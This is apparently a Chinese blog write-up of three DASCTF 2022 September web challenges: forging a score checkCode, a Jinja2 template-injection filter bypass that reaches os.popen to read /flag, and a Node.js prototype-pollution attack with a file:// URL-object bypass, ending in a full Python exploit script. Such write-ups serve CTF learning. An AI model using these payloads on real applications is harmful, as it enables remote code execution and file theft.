DASCTF 2022九月赛WEB

dino3d

打开后一个游戏,提示需要玩够1000000分才能通过。
DASCTF 2022九月赛WEB_第1张图片
抓个包看一下,修改score,看到还有一个checkCode,和tm时间戳,想要绕过主要伪造checkCode。
DASCTF 2022九月赛WEB_第2张图片
看下网站源码,每个js文件查找下checkCode计算。其中一个找到关键代码。
DASCTF 2022九月赛WEB_第3张图片
得到如下信息:

var checkCode = "DASxCBCTF" + salt;
var salt="_wElc03e"
game.sn(score.score,checkCode)
sn(e,t){
……
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
……
}

所以checkCode是MD5(“1000000DASxCBCTF_wElc03e”),时间戳需要设置稍大值,不断发包去匹配对应时间。
DASCTF 2022九月赛WEB_第4张图片

Text Reverser

DASCTF 2022九月赛WEB_第5张图片
功能是把字符串倒序输出,但是过滤了模板注入的{{}}符号,使用{%%}绕过,构造{%if 1%}1{%endif%}发现依旧倒序输出。
转换思路,将倒序的结果}%fidne%{1}%1 fi%{输入,得到1:
DASCTF 2022九月赛WEB_第6张图片
尝试模板注入的链,过滤了class,自己倒序链输入;过滤cat,用nl

{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}

倒序:

str="{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}"
n=len(str)
for i in range(0,n):
    print(str[n-i-1],end="")

DASCTF 2022九月赛WEB_第7张图片

cbshop

这道题最后有10人解出,我卡在最后绕过json检测flag字符串的地方。
首先给了源码,点开后主要是两个js

const adminUser = {
    username: "admin",
    password: "admin",
    money: 9999
};
 if(username === adminUser.username && password === adminUser.password.substring(1,6))

所以当admin密码是\u00DE00admi时,以admin用户登陆,拥有money=9999
DASCTF 2022九月赛WEB_第8张图片
DASCTF 2022九月赛WEB_第9张图片
然后主要就是购买第二个flag,源码如下:

var user = {
        username: req.session.username,
        money: req.session.money
    };
var order = buyApi(user, req.body);
//使用req.body复制给order[user.username]
Object.assign(order[user.username], product);
//function buyApi(user, product) 
else if(product.id === 2) {        //buy flag
        if(user.money >= 11 && user.token) {  //do u have token?
            if(JSON.stringify(product).includes("flag")) {
                Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
            }else{
                user.money -= 11;
                Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
            }
        }else {
            Object.assign(order,{ msg: "nononono!" });
        }
    }else {
        Object.assign(order,{ code: 0, msg: "no such product!" });
    }
    Object.assign(order, { username: user.username, code: 3, money: user.money });
    return order;
}

可以看到,其中需要user.money>=11(已经满足),user.token为真,才能进入下一步。这里需要能够影响已经设定的user对象内容,用到了JS原型链污染的技术,每个对象都包含一个__proto__属性指向它的构造函数的原型对象。而核心代码Object.assign(order[user.username], product);其中username可控,通过更改用户名改为__proto__,这样的话就会将 product 对象合并到 order 的 proto 中,而user 和 order 的原型都是 Object ,是同一个原型,当 product 中构造 token:true 时,user.token 访问为 true。
DASCTF 2022九月赛WEB_第10张图片
最后是绕json格式的name不能包含"flag"字符串。其中主要查阅fs.readFileSync()函数为同步读取,其参数可以为路径,URL或者缓存区。当时主要各种编码无法实现,因为字符串原因,URL编码也不解析。之后得知使用file协议,相当于使用URL时候可以解析URL编码进行绕过。

将Content-type改为multipart/form-data或者删除,可以直接使用flag读取了?
似乎是使用form-data传输,数据被当做文件流,不经过JSON.stringify,所以绕过,但是此时被当做formData格式,依然可以解析其中key和value的值。

DASCTF 2022九月赛WEB_第11张图片

或者使用如下代码发送URL对象:

import requests
session = requests.Session()

url = "http://c303458d-c831-4b08-aa86-3654f2e37c70.node4.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)

你可能感兴趣的:(ctf,python,ctf)